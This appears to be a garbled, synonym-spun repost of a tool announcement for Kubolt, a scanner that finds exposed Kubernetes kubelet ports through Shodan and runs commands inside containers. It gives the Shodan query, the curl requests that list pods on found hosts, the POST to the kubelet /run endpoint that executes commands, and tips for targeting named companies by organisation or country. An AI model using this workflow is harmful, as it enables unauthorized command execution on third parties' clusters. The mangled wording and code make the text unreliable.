Kubolt - Utility For Scanning Populace Kubernetes Clusters

Kubolt is a uncomplicated utility for scanning populace unauthinticated kubernetes clusters together with run commands within containers.

Why?
Sometimes, the kubelet port 10250 is opened upwards to unauthorized access together with makes it possible to run commands within the containers using getrun constituent from kubelet:

// getRun handles requests to run a ascendency within a container. func (s *Server) getRun(request *restful.Request, answer *restful.Response) {  params := getExecRequestParams(request)  pod, ok := s.host.GetPodByName(params.podNamespace, params.podName)  if !ok {   response.WriteError(http.StatusNotFound, fmt.Errorf("pod does non exist"))   render  }

How?
Okay, let's inquire our friend Shodan
The basic enquiry is

ssl:true port:10250 404

Kubelet uses port 10250 alongside SSL yesteryear default, 404 is the HTTP answer without URL path.
Kubolt asks Shodan yesteryear API for listing of IP addresses together with keeps them for other OSINT actions 
Firstly, let's inquire Kubelet for running pods together with filter hosts where answer doesn't incorporate Unauthorized together with contains container thus nosotros tin run ascendency within it.

curl -k https://IP-from-Shodan:10250/runningpods/ 

Anyway, if y'all discovery the host without whatever running pods at the time, drib dead along it for side yesteryear side fourth dimension when pods mightiness last started 
You tin listing all available pods from these requests:

curl -k https://IP-from-Shodan:10250/pods/ #or wrap http://IP-from-Shodan:10255/pods/ 

Next kubolt parse answer together with generate a novel asking equally below:

curl -XPOST -k https://IP-from-Shodan:10250/run/// -d "cmd=" 

You tin target companies to a greater extent than accurate using Shodan filters such as:

• asn
• org
• country
• net

Install

mkdir output pip install -r requirements.txt 

Run

python kubolt.py --query "asn:123123 org:'ACME Corporation'" #or python kubolt.py --query "org:'ACME Corporation' country:UK"

Shodan
Kubolt uses Shodan API together with Query Credits accordingly, if y'all run the tool without enquiry filters thus y'all volition in all likelihood burn downwardly all your credits

Important
The Tool provided yesteryear the writer should exclusively last used for educational purposes. The writer tin non last held responsible for the misuse of the Tool. The writer is non responsible for whatever straight or indirect impairment caused due to the usage of the Tool.

Download Kubolt